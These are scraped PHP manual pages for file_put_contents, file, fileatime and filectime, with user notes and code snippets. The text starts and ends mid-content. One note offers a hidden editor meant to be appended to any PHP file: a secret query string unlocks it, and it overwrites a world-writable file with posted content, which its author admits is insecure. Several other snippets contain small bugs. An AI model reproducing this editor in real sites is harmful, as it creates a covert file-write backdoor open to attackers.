    $fpc_ftp_conn = ftp_connect("$cfg_ftp_server");

    //Check connection
    if (!$fpc_ftp_conn) {
        echo "Could not connect to server <b>$cfg_ftp_server</b>.<br />";
        die();
    }
    else {

        // login
        // check username and password
        if (!ftp_login($fpc_ftp_conn, "$cfg_user", "$cfg_pass")) {
            echo "User or password.<br />";
            die();
        }
        else {

            //Document Root
            if (!ftp_chdir($fpc_ftp_conn, $cfg_document_root)) {
                echo "Error to set Document Root.<br />";
                die();
            }

            //Check if there are folders to create
            if ($cotains_slash) {

                //Check if have folders and is not just the file name
                if (count($fpc_path_and_name_array) > 1) {

                    //Remove last array
                    $fpc_remove_last_array = array_pop($fpc_path_and_name_array);

                    //Checks if there slashs on the path
                    if (substr($fpc_path_and_name,0,1) == "/") {
                        $fpc_remove_first_array = array_shift($fpc_path_and_name_array);
                    }

                    //Create each folder on ftp
                    foreach ($fpc_path_and_name_array as $fpc_ftp_path) {
                        if (!@ftp_chdir($fpc_ftp_conn, $fpc_ftp_path)) {
                            if (!ftp_mkdir($fpc_ftp_conn, $fpc_ftp_path)) {
                                echo "Error creating directory $fpc_ftp_path.<br />";
                            }
                            else {
                                if (!ftp_chdir($fpc_ftp_conn, $fpc_ftp_path)) {
                                    echo "Error go to the directory $fpc_ftp_path.<br />";
                                }
                            }
                        }
                    }
                }
                else {

                }
            }

            //Check upload file
            if (!ftp_put($fpc_ftp_conn, $fpc_file_name, str_replace("//", "/", $cfg_temp_folder.$fpc_file_name), FTP_ASCII)) {
                echo "File upload <b>$fpc_path_and_name</b> failed!<br />";
                die();
            }
            else {
                if (!unlink(str_replace("//", "/", $cfg_temp_folder.$fpc_file_name))) {
                    echo "Error deleting temporary file.<br />";
                    die();
                }
                else {
                    echo "File upload <a href='$cfg_site_link".str_replace("//", "/", "/$fpc_path_and_name")."'><b>$cfg_site_link".str_replace("//", "/", "/$fpc_path_and_name")."</a></b> successfully performed.<br />";
                }
            }

            //Close connection to FTP server
            ftp_close($fpc_ftp_conn);
        }
    }
}

#Sample

$content_file = "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
<html xmlns=\"http://www.w3.org/1999/xhtml\">
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />
<title>Title</title>
</head>
<body>
<p>Test</p>
</body>
</html>";

ftp_put_contents("test.php", $content_file);
?>
justin dot carlson at gmail dot com 16-Aug-2011 08:28
It should be obvious that this should only be used if you're making one write, if you are writing multiple times to the same file you should handle it yourself with fopen and fwrite, the fclose when you are done writing.

Benchmark below:

file_put_contents() for 1,000,000 writes - average of 3 benchmarks:

 real 0m3.932s
 user 0m2.487s
 sys 0m1.437s

fopen() fwrite() for 1,000,000 writes, fclose() -  average of 3 benchmarks:

 real 0m2.265s
 user 0m1.819s
 sys 0m0.445s
Brandon Lockaby 08-Jul-2011 10:56
Calling file_put_contents within a destructor will cause the file to be written in SERVER_ROOT...
ravianshmsr08 at gmail dot com 15-Dec-2010 01:39
To upload file from your localhost to any FTP server.
pease note 'ftp_chdir' has been used instead of putting direct remote file path....in ftp_put ...remoth file should be only file name

<?php
$host = '*****';
$usr = '*****';
$pwd = '**********';
$local_file = './orderXML/order200.xml';
$ftp_path = 'order200.xml';
$conn_id = ftp_connect($host, 21) or die ("Cannot connect to host");
ftp_pasv($resource, true);
ftp_login($conn_id, $usr, $pwd) or die("Cannot login");
// perform file upload
ftp_chdir($conn_id, '/public_html/abc/');
$upload = ftp_put($conn_id, $ftp_path, $local_file, FTP_ASCII);
if($upload) { $ftpsucc=1; } else { $ftpsucc=0; }
// check upload status:
print (!$upload) ? 'Cannot upload' : 'Upload complete';
print "\n";
// close the FTP stream
ftp_close($conn_id);
?>
error at example dot com 11-Dec-2010 12:47
It's worth noting that you must make sure to use the correct path when working with this function. I was using it to help with logging in an error handler and sometimes it would work - while other times it wouldn't. In the end it was because sometimes it was called from different paths resulting in a failure to write to the log file.

__DIR__ is your friend.
hilton at allcor dot com dot br 04-Nov-2010 04:20
NOTE : file_put_contents create files UTF-8

<?php
$myFile = 'test.txt';
$myContent = 'I love PHP';

file_put_contents($myFile, utf8_encode($myContent));
?>
clement dot delmas at gmail dot com 17-Sep-2010 06:22
NOTE : file_put_contents doesn't add a valid BOM while creating the file

<?php
$myFile = 'test.txt';
$myContent = 'I love PHP';

file_put_contents($myFile, "\xEF\xBB\xBF".$myContent);
?>
deqode at felosity dot nl 15-Feb-2010 12:14
Please note that when saving using an FTP host, an additional stream context must be passed through telling PHP to overwrite the file.

<?php
 /* set the FTP hostname */
 $user = "test";
 $pass = "myFTP";
 $host = "example.com";
 $file = "test.txt";
 $hostname = $user . ":" . $pass . "@" . $host . "/" . $file;

 /* the file content */
 $content = "this is just a test.";

 /* create a stream context telling PHP to overwrite the file */
 $options = array('ftp' => array('overwrite' => true));
 $stream = stream_context_create($options);

 /* and finally, put the contents */
 file_put_contents($hostname, $content, 0, $stream);
?>
John Galt 29-Jul-2009 12:14
I use file_put_contents() as a method of very simple hit counters. These are two different examples of extremely simple hit counters, put on one line of code, each.

Keep in mind that they're not all that efficient. You must have a file called counter.txt with the initial value of 0.

For a text hit counter:
<?php
 $counter = file_get_contents("counter.txt"); $counter++; file_put_contents("counter.txt", $counter); echo $counter;
?>

Or a graphic hit counter:
<?php
 $counter = file_get_contents("counter.txt"); $counter++; file_put_contents("counter.txt", $counter); for($i = 0; $i < strlen($counter); $i++) echo "<img src=\"counter/".substr($counter, $i, 1).".gif\" alt=\"".substr($counter, $i, 1)."\" />";
?>
wjsams at gmail dot com 25-Jun-2009 08:57
file_put_contents() strips the last line ending

If you really want an extra line ending at the end of a file when writing with file_put_contents(), you must append an extra PHP_EOL to the end of the line as follows.

<?php
$a_str = array("these","are","new","lines");
$contents = implode(PHP_EOL, $a_str);
$contents .= PHP_EOL . PHP_EOL;
file_put_contents("newfile.txt", $contents);
print("|$contents|");
?>

You can see that when you print $contents you get two extra line endings, but if you view the file newfile.txt, you only get one.
kola_lola at hotmail dot com 06-Nov-2008 03:31
I wrote this script implementing the file_put_contents() and file_get_contents() functions to be compatible with both php4.* and php 5.*. It is a PHP Command line interface script which searches and replaces a specific word recursively through all files in the supplied directory hierarchy.

Usage from a Linux command line: ./scriptname specifieddirectory searchString replaceString

#!/usr/bin/php
<?php
$argc = $_SERVER['argc'];
$argv = $_SERVER['argv'];

if($argc != 4)
{
echo "This command replaces a search string with a replacement string\n for the contents of all files in a directory hierachy\n";
echo "command usage: $argv[0]  directory searchString replaceString\n";
echo "\n";
exit;
}
?><?php

if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (!$f) {
            return false;
        } else {
            $bytes = fwrite($f, $data);
            fclose($f);
            return $bytes;
        }
    }
}

function get_file_contents($filename)

      /* Returns the contents of file name passed

      */
      {
      if (!function_exists('file_get_contents'))
      {
      $fhandle = fopen($filename, "r");
      $fcontents = fread($fhandle, filesize($filename));
      fclose($fhandle);
      }
      else
      {
      $fcontents = file_get_contents($filename);
      }
      return $fcontents;
      }
?><?php

function openFileSearchAndReplace($parentDirectory, $searchFor, $replaceWith)
{
//echo "debug here- line 1a\n";
//echo "$parentDirectory\n";
//echo "$searchFor\n";
//echo "$replaceWith\n";

if ($handle = opendir("$parentDirectory")) {
    while (false !== ($file = readdir($handle))) {
        if (($file != "." && $file != "..") && !is_dir($file)) {
          chdir("$parentDirectory"); //to make sure you are always in right directory
         // echo "$file\n";
         $holdcontents = file_get_contents($file);
         $holdcontents2 = str_replace($searchFor, $replaceWith, $holdcontents);
         file_put_contents($file, $holdcontents2);
         // echo "debug here- line 1\n";
         // echo "$file\n";

        }
        if(is_dir($file) && ($file != "." && $file != ".."))
        {
        $holdpwd = getcwd();
        //echo "holdpwd = $holdpwd \n";
        $newdir = "$holdpwd"."/$file";
        //echo "newdir = $newdir \n";  //for recursive call
        openFileSearchAndReplace($newdir, $searchFor, $replaceWith);
        //echo "debug here- line 2\n";
        //echo "$file\n";
        }
    }
    closedir($handle);
 }
}

$parentDirectory2 = $argv[1];
$searchFor2 = $argv[2];
$replaceWith2 = $argv[3];

//Please do not edit below to keep the rights to this script
//Free license, if contents below this line is not edited
echo "REPLACED\n'$searchFor2' with '$replaceWith2' recursively through directory listed below\nFor all files that current user has write permissions for\nDIRECTORY: '$parentDirectory2'\n";
echo "command written by Kolapo Akande :) all rights reserved :)\n";

 $holdpwd = getcwd();
 //echo "$holdpwd\n";
chdir($parentDirectory2);
openFileSearchAndReplace($parentDirectory2, $searchFor2, $replaceWith2);
exit;
?>
admin at nabito dot net 04-Aug-2008 01:11
This is example, how to save Error Array into simple log file

<?php

$error[] = 'some error';
$error[] = 'some error 2';

@file_put_contents('log.txt',date('c')."\n".implode("\n", $error),FILE_APPEND);

?>
TrentTompkins at gmail dot com 02-Jul-2008 05:25
File put contents fails if you try to put a file in a directory that doesn't exist. This creates the directory.

<?php
    function file_force_contents($dir, $contents){
        $parts = explode('/', $dir);
        $file = array_pop($parts);
        $dir = '';
        foreach($parts as $part)
            if(!is_dir($dir .= "/$part")) mkdir($dir);
        file_put_contents("$dir/$file", $contents);
    }
?>
Anonymous 02-May-2008 11:06
file_put_contents() will cause concurrency problems - that is, it doesn't write files atomically (in a single operation), which sometimes means that one php script will be able to, for example, read a file before another script is done writing that file completely.

The following function was derived from a function in Smarty (http://smarty.php.net) which uses rename() to replace the file - rename() is atomic on Linux.

On Windows, rename() is not currently atomic, but should be in the next release. Until then, this function, if used on Windows, will fall back on unlink() and rename(), which is still not atomic...

<?php

define("FILE_PUT_CONTENTS_ATOMIC_TEMP", dirname(__FILE__)."/cache");
define("FILE_PUT_CONTENTS_ATOMIC_MODE", 0777);

function file_put_contents_atomic($filename, $content) {

    $temp = tempnam(FILE_PUT_CONTENTS_ATOMIC_TEMP, 'temp');
    if (!($f = @fopen($temp, 'wb'))) {
        $temp = FILE_PUT_CONTENTS_ATOMIC_TEMP . DIRECTORY_SEPARATOR . uniqid('temp');
        if (!($f = @fopen($temp, 'wb'))) {
            trigger_error("file_put_contents_atomic() : error writing temporary file '$temp'", E_USER_WARNING);
            return false;
        }
    }

    fwrite($f, $content);
    fclose($f);

    if (!@rename($temp, $filename)) {
        @unlink($filename);
        @rename($temp, $filename);
    }

    @chmod($filename, FILE_PUT_CONTENTS_ATOMIC_MODE);

    return true;

}

?>
the geek man at hot mail point com 03-Jan-2008 03:23
I use the following code to create a rudimentary text editor. It's not fancy, but then it doesn't have to be. You could easily add a parameter to specify a file to edit; I have not done so to avoid the potential security headaches.

There are still obvious security holes here, but for most applications it should be reasonably safe if implemented for brief periods in a counterintuitive spot. (Nobody says you have to make a PHP file for that purpose; you can tack it on anywhere, so long as it is at the beginning of a file.)

<?php
$random1 = 'randomly_generated_string';
$random2 = 'another_randomly_generated_string';
$target_file = 'file_to_edit.php';
$this_file = 'the_current_file.php';

if ($_REQUEST[$random1] === $random2) {
    if (isset($_POST['content']))
        file_put_contents($target_file, get_magic_quotes_qpc() ? stripslashes($_POST['content']) : $_POST['content']);

    die('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <head>
        <title>Editing...</title>
    </head>
    <body>
        <form method="post" action="' . $this_file . '" />
        <input type="hidden" name="' . $random1 . '" value="' . $random2 . '" />
        <textarea name="content" rows="50" cols="100">' . file_get_contents($target_file) . '</textarea><br />
        <input type="submit" value="Save Changes" />
        </form>
    </body>
</html>');
}
?>

Then simply browse to hxxp://www.example.com/{$this_file}?{$random1}={$random2}, with the appropriate values substituted for each bracketed variable. Please note that this code assumes the target file to be world writable (-rw-rw-rw- or 666) and will fail to save properly without error if it is not.

Once again, this is by no means secure or permanent, but as a quick fix for brief edits to noncritical files it should be sufficient, and its small size is a definite bonus.
egingell at sisna dot com 20-Dec-2007 07:15
There is a better way. www.php.net/touch

Since you're not adding anything to the file,

<?php
function updateFile($filename) {
    if (!file_exists($filename)) return;
    touch($filename);
}
?>
me at briandichiara dot com 04-Oct-2007 12:20
I was in need of a function that updated the last modified date in a php file. There may be a better way, but this is how I did it:

<?php
function updateFile($modFile){
    if(!empty($modFile)){
        if($fo = fopen($modFile, 'r')){
            $source = '';
            while (!feof($fo)) {
               $source .= fgets($fo);
            }
            file_put_contents($modFile,$source);
            fclose($fo);
        }
    }
}
?>
Curtis 21-Dec-2006 03:20
As to the previous user note, it would be wise to include that code within a conditional statement, as to prevent re-defining file_put_contents and the FILE_APPEND constant in PHP 5:

<?php
   if ( !function_exists('file_put_contents') && !defined('FILE_APPEND') ) {
   ...
   }
?>

Also, if the file could not be accessed for writing, the function should return boolean false, not 0. An error is different from 0 bytes written, in this case.
egingell at sisna dot com 23-Jul-2006 04:11
In reply to the previous note:

If you want to emulate this function in PHP4, you need to return the bytes written as well as support for arrays, flags.

I can only figure out the FILE_APPEND flag and array support. If I could figure out "resource context" and the other flags, I would include those too.

<?

define('FILE_APPEND', 1);
function file_put_contents($n, $d, $flag = false) {
    $mode = ($flag == FILE_APPEND || strtoupper($flag) == 'FILE_APPEND') ? 'a' : 'w';
    $f = @fopen($n, $mode);
    if ($f === false) {
        return 0;
    } else {
        if (is_array($d)) $d = implode($d);
        $bytes_written = fwrite($f, $d);
        fclose($f);
        return $bytes_written;
    }
}

?>
sendoshin at awswan dot com 05-Mar-2006 11:01
To clear up what was said by pvenegas+php at gmail dot com on 11-Oct-2005 08:13, file_put_contents() will replace the file by default.  Here's the complete set of rules this function follows when accessing a file:

1.  Was FILE_USE_INCUDE_PATH passed in the call?  If so, check the include path for an existing copy of *filename*.

2.  Does the file already exist?  If not, first create it in the current working directory.  Either way, open the file.

3.  Was LOCK_EX passed in the call?  If so, lock the file.

4.  Was the function called with FILE_APPEND?  If not, clear the file's contents.  Otherwise, move to the end of the file.

5.  Write *data* into the file.

6.  Close the file and release any locks.

If you don't want to completely replace the contents of the file you're writing to, be sure to use FILE_APPEND (same as fopen() with 'a') in the *flags*.  If you don't, whatever used to be there will be gone (fopen() with 'w').

Hope that helps someone (and that it makes sense ^^)!

- Sendoshin
aidan at php dot net 20-May-2004 07:11
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
file_get_contents
file
Filesystem Functions


Reads entire file into an array

file_put_contents
fileatime
Filesystem Functions
PHP Manual

file

(PHP 4, PHP 5)

file — Reads entire file into an array

Description

array file ( string $filename [, int $flags = 0 [, resource $context ]] )

Reads an entire file into an array.

Note:

You can use file_get_contents() to return the contents of a file as a string.

Parameters

filename

Path to the file.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

flags

The optional parameter flags can be one, or more, of the following constants:

FILE_USE_INCLUDE_PATH
Search for the file in the include_path.
FILE_IGNORE_NEW_LINES
Do not add newline at the end of each array element
FILE_SKIP_EMPTY_LINES
Skip empty lines

context

A context resource created with the stream_context_create() function.

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

Return Values

Returns the file in an array. Each element of the array corresponds to a line in the file, with the newline still attached. Upon failure, file() returns FALSE.

Note:

Each line in the resulting array will include the line ending, unless FILE_IGNORE_NEW_LINES is used, so you still need to use rtrim() if you do not want the line ending present.

Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem.

Changelog

Version | Description
5.0.0 | The context parameter was added
5.0.0 | Prior to PHP 5.0.0 the flags parameter only covered include_path and was enabled with 1
4.3.0 | file() became binary safe

Examples

Example #1 file() example

<?php
// Get a file into an array.  In this example we'll go through HTTP to get
// the HTML source of a URL.
$lines = file('http://www.example.com/');

// Loop through our array, show HTML source as HTML source; and line numbers too.
foreach ($lines as $line_num => $line) {
    echo "Line #<b>{$line_num}</b> : " . htmlspecialchars($line) . "<br />\n";
}

// Another example, let's get a web page into a string.  See also file_get_contents().
$html = implode('', file('http://www.example.com/'));

// Using the optional flags parameter since PHP 5
$trimmed = file('somefile.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
?>

Notes

Warning

When using SSL, Microsoft IIS will violate the protocol by closing the connection without sending a close_notify indicator. PHP will report this as "SSL: Fatal Protocol Error" when you reach the end of the data. To work around this, the value of error_reporting should be lowered to a level that does not include warnings. PHP 4.3.7 and higher can detect buggy IIS server software when you open the stream using the https:// wrapper and will suppress the warning. When using fsockopen() to create an ssl:// socket, the developer is responsible for detecting and suppressing this warning.

See Also

  • readfile() - Outputs a file
  • fopen() - Opens file or URL
  • fsockopen() - Open Internet or Unix domain socket connection
  • popen() - Opens process file pointer
  • file_get_contents() - Reads entire file into a string
  • include()
  • stream_context_create() - Create a streams context

User Contributed Notes

twichi at web dot de 13-Sep-2011 12:33
read from CSV data (file) into an array with named keys

... with or without 1st row = header (keys)
(see 4th parameter of function call as  true / false)

<?php
// --------------------------------------------------------------

function csv_in_array($url,$delm=";",$encl="\"",$head=false) {

    $csvxrow = file($url);   // ---- csv rows to array ----

    $csvxrow[0] = chop($csvxrow[0]);
    $csvxrow[0] = str_replace($encl,'',$csvxrow[0]);
    $keydata = explode($delm,$csvxrow[0]);
    $keynumb = count($keydata);

    if ($head === true) {
    $anzdata = count($csvxrow);
    $z=0;
    for($x=1; $x<$anzdata; $x++) {
        $csvxrow[$x] = chop($csvxrow[$x]);
        $csvxrow[$x] = str_replace($encl,'',$csvxrow[$x]);
        $csv_data[$x] = explode($delm,$csvxrow[$x]);
        $i=0;
        foreach($keydata as $key) {
            $out[$z][$key] = $csv_data[$x][$i];
            $i++;
            }
        $z++;
        }
    }
    else {
        $i=0;
        foreach($csvxrow as $item) {
            $item = chop($item);
            $item = str_replace($encl,'',$item);
            $csv_data = explode($delm,$item);
            for ($y=0; $y<$keynumb; $y++) {
               $out[$i][$y] = $csv_data[$y];
            }
        $i++;
        }
    }

return $out;
}

// --------------------------------------------------------------

?>

fuction call with 4 parameters:

(1) = the file with CSV data (url / string)
(2) = colum delimiter (e.g: ; or | or , ...)
(3) = values enclosed by (e.g: ' or " or ^ or ...)
(4) = with or without 1st row = head (true/false)

<?php

// ----- call ------
$csvdata = csv_in_array( $yourcsvfile, ";", "\"", true );
// -----------------

// ----- view ------
echo "<pre>\r\n";
print_r($csvdata);
echo "</pre>\r\n";
// -----------------

?>

PS: also see: http://php.net/manual/de/function.fgetcsv.php to read CSV data into an array
... and other file-handling methods

^
marios88 at gmail dot com 06-Feb-2010 02:59
Quick and easy way to reverse read a file without array_reverse

<?php
$myfile = 'test.txt';
$lines = file($myfile);
for($i=count($lines);$i>0;$i--){
    echo $lines[$i];
}
?>
d basin 14-Oct-2009 03:47
this may be obvious, but it took me a while to figure out what I was doing wrong. So I wanted to share. I have a file on my "c:\" drive. How do I file() it?

Don't forget the backslash is special and you have to "escape" the backslash i.e. "\\":

<?php

$lines = file("C:\\Documents and Settings\\myfile.txt");

foreach($lines as $line)
{
    echo($line);
}

?>

hope this helps...
PenguinMan98 at usa dot net 21-Apr-2008 03:49
on file() and flock()

My supervisor came up with a brilliant plan to workaround the inability of the file() to work on a flock()'ed file.

We created a dummy file called lockfile.txt.  We would flock() lockfile.txt.  Once we had a lock on it, we used file() on the file we wanted to read, then altered the file and called fclose on both files.
jon+spamcheck at phpsitesolutions dot com 16-Apr-2008 01:03
A user suggested using rtrim always, due to the line ending conflict with files that have an EOL that differs from the server EOL.

Using rtrim with it's default character replacement is a bad solution though, as it removes all whitespace in addition to the '\r' and '\n' characters.

A good solution using rtrim follows:

<?php
$line = rtrim($line, "\r\n") . PHP_EOL;
?>

This removes only EOL characters, and replaces with the server's EOL character, thus making preg_* work fine when matching the EOL ($)
vbchris at gmail dot com 16-Feb-2008 01:15
If you're getting "failed to open stream: Permission denied" when trying to use either file() or fopen() to access files on another server. Check your host doesn't have any firewall restrictions in-place which prevent outbound connections. This is the case with my host Aplus.net
Reversed: moc dot liamg at senroc dot werdna 12-Jul-2007 02:25
This note applies to PHP 5.1.6 under Windows (although may apply to other versions).

It appears that the 'FILE_IGNORE_NEW_LINES' flag doesn't remove newlines properly when reading Windows-style text files, i.e. files whose lines end in '\r\n'.

Solution: Always use 'rtrim()' in preference to 'FILE_IGNORE_NEW_LINES'.
info at carstanje dot com 28-Nov-2006 12:33
Using file() for reading large text files > 10 Mb gives problems, therefore you should use this instead. It is much slower but it works fine. $lines will return an array with all the lines.

<?php
$handle = @fopen('yourfile...', "r");
if ($handle) {
   while (!feof($handle)) {
       $lines[] = fgets($handle, 4096);
   }
   fclose($handle);
}
?>
richardtcunningham at gmail dot com 11-Jul-2006 02:19
justin at visunet dot ie's note of 20-Mar-2003 states
"Note: Now that file() is binary safe it is 'much' slower than it used to be. If you are planning to read large files it may be worth your while using fgets() instead of file()."

I tested fgets(), file_get_contents(), and file() on PHP 4.3.2 and PHP 5 and timed each to be under a second with over 200,000 lines. I do not know if he was testing extremely long lines or what, but I could not duplicate the difference that he mentioned.
jonathan dot gotti at free dot fr 01-Feb-2006 02:52
you can use
$file = array_map('rtrim',file('myfile.txt'));
to remove annoying ending lines of the resulting array.
Nuts 18-Jan-2006 03:16
WARNING ON WINDOWS:
file() function will add "\r\n" in to the end of the row, even if you use only "\n" char to make rows in the file!

On UNIX systems there is no such problem.
dir @ badblue com 12-Sep-2003 02:48
Jeff's array2file function is a good start; here are a couple of improvements (no possibility of handle leak when fwrite fails, additional capability of both string2file and array2file; presumably faster performance through use of implode).

<?php
function String2File($sIn, $sFileOut) {
  $rc = false;
  do {
    if (!($f = fopen($sFileOut, "wa+"))) {
      $rc = 1; break;
    }
    if (!fwrite($f, $sIn)) {
      $rc = 2; break;
    }
    $rc = true;
  } while (0);
  if ($f) {
    fclose($f);
  }
  return ($rc);
}

function Array2File($aIn, $sFileOut) {
  return (String2File(implode("\n", $aIn), $sFileOut));
}
?>

If you're generating your string text using a GET or POST from a TEXTAREA (e.g., a mini-web-text-editor), remember that strip_slashes and str_replace of "/r/n" to "/n" may be necessary as well using these functions.

HTH --dir @ badblue com
John 20-Jul-2003 04:32
after many months of confusion and frustration, i have finally figured out something that i should have noticed the first time around.

you can't file("test.txt") when that same file has been flocked. i guess i didn't have a full understanding of what i was doing when i used flock(). all i had to do was move the flock() around, and all was well.
justin at visunet dot ie 20-Mar-2003 09:36
Note: Now that file() is binary safe it is 'much' slower than it used to be. If you are planning to read large files it may be worth your while using fgets() instead of file() For example:

<?php
$fd = fopen ("log_file.txt", "r");
while (!feof ($fd))
{
   $buffer = fgets($fd, 4096);
   $lines[] = $buffer;
}
fclose ($fd);
?>

The resulting array is $lines.

I did a test on a 200,000 line file. It took seconds with fgets()  compared to minutes with file().
andrea at brancatelli dot it 16-Mar-2002 11:16
file() has a strange behaviour when reading file with both \n and \r as line delimitator (DOS files), since it will return an array with every single line but with just a \n in the end. It seems like \r just disappears.

This is happening with PHP 4.0.4 for OS/2. Don't know about the Windows version.
php@don't_spam_me 09-Feb-2002 12:56
It appears that the file() function causes file access problems for perl cgi scripts accessing the same files.  I am using Perl v5.6.0 in linux with PHP/4.0.4pl1.  After running a php app using the file() function, any perl cgi trying to access the same file randomly dies returning an internal server error: premature end of script headers.

The simple fix is to use fopen(), fgets() and fclose() instead of file().
file_put_contents
fileatime
Filesystem Functions


Gets last access time of file

file
filectime
Filesystem Functions
PHP Manual

fileatime

(PHP 4, PHP 5)

fileatime — Gets last access time of file

Description

int fileatime ( string $filename )

Gets the last access time of the given file.

Parameters

filename

Path to the file.

Return Values

Returns the time the file was last accessed, or FALSE on failure. The time is returned as a Unix timestamp.

Examples

Example #1 fileatime() example

<?php

// outputs e.g.  somefile.txt was last accessed: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename was last accessed: " . date("F d Y H:i:s.", fileatime($filename));
}

?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note:

The atime of a file is supposed to change whenever the data blocks of a file are being read. This can be costly performance-wise when an application regularly accesses a very large number of files or directories.

Some Unix filesystems can be mounted with atime updates disabled to increase the performance of such applications; USENET news spools are a common example. On such filesystems this function will be useless.

Note:

Note that time resolution may differ from one file system to another.

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • filemtime() - Gets file modification time
  • fileinode() - Gets file inode
  • date() - Format a local time/date

User Contributed Notes

Tyler at visualbits dot net 16-Dec-2008 11:42
This only applys to the FAT filesystem, ntfs and greater have file access time support.

Be careful with this function it can degrade script performance if checking several files.
Maulwurf 10-Oct-2004 09:12
Using this function on Win98 made me grow grey hair.
Win 98 doesn't save the time for the last access. It only saves the date. This way, the returned timestamp from fileatime(file) is always much too small.

this command will always return false:

if($now - $last_access >1800) {
do something
}

using filemtime() instead did the thing.
file
filectime
Filesystem Functions


Gets inode change time of file

fileatime
filegroup
Filesystem Functions
PHP Manual

filectime

(PHP 4, PHP 5)

filectime — Gets inode change time of file

Description

int filectime ( string $filename )

Gets the inode change time of a file.

Parameters

filename

Path to the file.

Return Values

Returns the time the file was last changed, or FALSE on failure. The time is returned as a Unix timestamp.

Examples

Example #1 A filectime() example

<?php

// outputs e.g.  somefile.txt was last changed: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename was last changed: " . date("F d Y H:i:s.", filectime($filename));
}

?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note:

Note: In most Unix filesystems, a file is considered changed when its inode data is changed; that is, when the permissions, owner, group, or other metadata from the inode is updated. See also filemtime() (which is what you want to use when you want to create "Last Modified" footers on web pages) and fileatime().

Note:

Note also that in some Unix texts the ctime of a file is referred to as being the creation time of the file. This is wrong. There is no creation time for Unix files in most Unix filesystems.

Note:

Note that time resolution may differ from one file system to another.

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • filemtime() - Gets file modification time

User Contributed Notes

coolkoon at gmail dot com 23-Jan-2011 02:42
You should avoid feeding the function files without a path. This applies for filemtime() and possibly fileatime() as well. If you omit the path the command will fail with the warning "filectime(): stat failed for filename.php".
m dot rabe at directbox dot com 06-Jan-2010 06:07
Under Windows you can use fileatime() instead of filectime().
soapergem at gmail dot com 05-Sep-2009 09:19
Note that on Windows systems, filectime will show the file creation time, as there is no such thing as "change time" in Windows.
javi at live dot com 03-Feb-2009 02:15
Filemtime seems to return the date of the EARLIEST modified file inside a folder, so this is a recursive function to return the date of the LAST (most recently) modified file inside a folder.

<?php

// Only take into account those files whose extensions you want to show.
$allowedExtensions = array(
  'zip',
  'rar',
  'pdf',
  'txt'
);

function filemtime_r($path)
{
    global $allowedExtensions;

    if (!file_exists($path))
        return 0;

    $extension = end(explode(".", $path));
    if (is_file($path) && in_array($extension, $allowedExtensions))
        return filemtime($path);
    $ret = 0;

     foreach (glob($path."/*") as $fn)
     {
        if (filemtime_r($fn) > $ret)
            $ret = filemtime_r($fn);
            // This will return a timestamp, you will have to use date().
     }
    return $ret;
}

?>
rich at rmbwebs dot com 11-Mar-2008 12:07
This is a modification of simraLIAS at mac dot com's code.
Modification dates should not be used for keys in an array when sorting by date because there is no guarantee that all files will have different dates.  Collisions resulting in files missing from the list could be possible.  A better way is to use the filename as the key (guaranteed to not be collisions)

<?php
foreach (glob("../downloads/*") as $path) { //configure path
    $docs[$path] = filectime($path);
} asort($docs); // sort by value, preserving keys

foreach ($docs as $path => $timestamp) {
    print date("d. M. Y: ", $timestamp);
    print '<a href="'. $path .'">'. basename($path) .'</a><br />';
}
?>
simraLIAS at mac dot com 30-Nov-2007 03:24
This is another way to get a list of files ordered by upload time:

<?php
foreach (glob("../downloads/*") as $path) { //configure path
    $docs[filectime($path)] = $path;
} ksort($docs); // sort by key (timestamp)

foreach ($docs as $timestamp => $path) {
    print date("d. M. Y: ", $timestamp);
    print '<a href="'. $path .'">'. basename($path) .'</a><br />';
}
?>
chuck dot reeves at gmail dot com 02-Oct-2007 09:14
filectime running on windows reading a file from a samba share, will still show the last modified date.
website at us dot kaspersky dot com 31-Aug-2007 10:51
Line 37 of the code above has an error.

echo  "File name: $file - Date Added: $date. <br/>"";

There is an extra "  after the <br/> that needs to be deleted in order for this code to work.
StevieMc at example dot com 15-Nov-2006 06:28
This method gets all the files in a directory, and echoes them in the order of the date they were added (by ftp or whatever).

<?PHP
function dirList ($directory, $sortOrder){

    //Get each file and add its details to two arrays
    $results = array();
    $handler = opendir($directory);
    while ($file = readdir($handler)) {
        if ($file != '.' && $file != '..' && $file != "robots.txt" && $file != ".htaccess"){
            $currentModified = filectime($directory."/".$file);
            $file_names[] = $file;
            $file_dates[] = $currentModified;
        }
    }
       closedir($handler);

    //Sort the date array by preferred order
    if ($sortOrder == "newestFirst"){
        arsort($file_dates);
    }else{
        asort($file_dates);
    }

    //Match file_names array to file_dates array
    $file_names_Array = array_keys($file_dates);
    foreach ($file_names_Array as $idx => $name) $name=$file_names[$name];
    $file_dates = array_merge($file_dates);

    $i = 0;

    //Loop through dates array and then echo the list
    foreach ($file_dates as $file_dates){
        $date = $file_dates;
        $j = $file_names_Array[$i];
        $file = $file_names[$j];
        $i++;

